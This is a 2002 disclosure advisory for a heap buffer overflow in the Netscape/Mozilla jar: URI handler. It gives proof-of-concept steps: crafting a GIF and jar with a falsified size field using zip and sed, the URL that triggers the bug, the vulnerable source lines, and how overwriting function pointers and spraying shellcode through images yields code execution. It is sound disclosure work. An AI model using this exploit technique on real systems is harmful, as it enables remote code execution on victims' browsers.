Netscape/Mozilla: Exploitable heap corruption via jar: URI handler.

2002-11-15T00:00:00
ID SECURITYVULNS:DOC:3759
Type securityvulns
Reporter Securityvulns
Modified 2002-11-15T00:00:00

Description

The following is the text of an advisory (with a couple of typos fixed) that was sent to Netscape in early July. (-rw-r--r-- 1 root root 3210 Jul 8 17:07 jar-writeup)

This was one a several vulnerabilities reported in Netscape/Mozilla over that period. (Others included the previously posted zero-width gif problem, and PNG vulnerabilities.)

http://bugzilla.mozilla.org/show_bug.cgi?id=157646 This page shows that the bug was opened on 2002-07-15 18:54

(May not be accessible.)

I think 4 months is definately long enough to wait before disclosure.

=====

Exploitable heap corruption via jar: URI handler.

Create a file, called test.gif with the following 6 'int's in it.

0x2d6e657a,0x65726568, 0x00000000,0x00000000, 0xdeadbeef,0xfee1600d

$ zip orig.jar test.gif adding: test.gif (deflated 17%) $ unzip -v orig.jar Archive: orig.jar Length Method Size Ratio Date Time CRC-32 Name -------- ------ ------- ----- ---- ---- ------ ---- 24 Defl:N 20 17% 07-08-02 16:11 b74deafe test.gif -------- ------- --- ------- 24 20 17% 1 file $ sed s/`printf '\x18'`/`printf '\x01'`/g orig.jar >new.jar $ unzip -v new.jar Archive: new.jar Length Method Size Ratio Date Time CRC-32 Name -------- ------ ------- ----- ---- ---- ------ ---- 1 Defl:N 20 -1900% 07-08-02 16:11 b74deafe test.gif -------- ------- --- ------- 1 20 -1900% 1 file $ cp new.jar ~/public_html

(This file only contains the 2 0x18s (24s) representing the realsize, so it works ok on this file. Actual exploit file was created with a hex editor.)

In Netscape open:

jar:http://host/~username/new.jar!/test.gif

The jar file is retrieved, the requested file is found... ... 584 //-- Read the item into memory 585 // Inflate if necessary and save in mInflatedFileBuffer 586 // for sequential reading. 587 // (nsJAR needs the whole file in memory before passing it on) 588 char buf = (char)PR_Malloc(item->realsize); 589 if (!buf) return ZIP_ERR_MEMORY; 590 switch(item->compression) 591 { 592 case DEFLATED: 593 result = InflateItem(item, 0, buf); 594 break; ... A buffer is allocated for storing the data. The realsize value is used for the length. (Size 1 actually allocates 8 bytes, hence the padding.) The buf is the passed to the inflater. ... 1268 PRInt32 nsZipArchive::InflateItem( const nsZipItem aItem, PRFileDesc fOut, 1269 char bigBuf ) ... as bigBuf. Some temporary storage is made, and a chunk of decompression done. ... 1382 { 1383 //-- copy inflated buffer to our big buffer 1384 // Assertion makes sure we don't overflow bigBuf 1385 PR_ASSERT( outpos + ZIP_BUFLEN <= bigBufSize); 1386 char copyStart = bigBuf + outpos; 1387 memcpy(copyStart, outbuf, ZIP_BUFLEN); 1388 } ... The assertion doesn't fire. It should probably be made into a normal check as well.

We now have a heap based buffer overflow.

At some point in the future, chunk_free() is called, and a SEGV will occur with while referencing the values 0xdeadbeef and 0xfee1600d.

If these are replaced with (address of a function pointer)-12 and (address of user supplied code), when the function pointer is called, the user supplied code will execute.

I have successfully changed the flow of control in tests, by overwriting the function pointer for PR_Free in the global offset table of libsnpr4.so.

"Shellcode" can be supplied in a previously loaded image. (A large area can be filled using compressed image files stored in a .jar as the source.)

======

-- zen-parse

--

1) If this message was posted to a public forum by zen-parse@gmx.net, it may be redistributed without modification. 2) In any other case the contents of this message is confidential and not to be distributed in any form without express permission from the author.